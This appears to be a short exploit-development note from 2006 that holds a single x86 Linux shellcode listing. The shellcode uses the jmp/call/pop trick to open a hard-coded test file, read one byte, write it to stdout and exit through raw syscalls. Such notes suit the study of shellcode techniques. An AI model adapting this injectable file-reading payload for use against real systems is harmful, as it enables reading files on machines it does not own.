Note of Exploiting

[SC] fread_onebyte.s : 2006-11-18

.globl main

main:
    jmp    ONE
TWO:


    #open
    popl   %ebx
    mov    $0x5,   %al
    xorl   %ecx,   %ecx
    int    $0x80

    #read
    xorl   %edx,   %edx
    inc    %edx
    mov    %esp,   %ecx
    mov    %eax,   %ebx
    mov    $0x3,   %al
    int    $0x80
    mov    %ebx,   %esi

    #write
    mov    $0x4,   %al
    mov    $0x1,   %bl
    int    $0x80

    #close
    mov    $0x6,   %al
    mov    %esi,   %ebx
    int    $0x80

    #exit
    mov    $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80

ONE:
    call   TWO
    .string "/home/defolos/Desktop/test"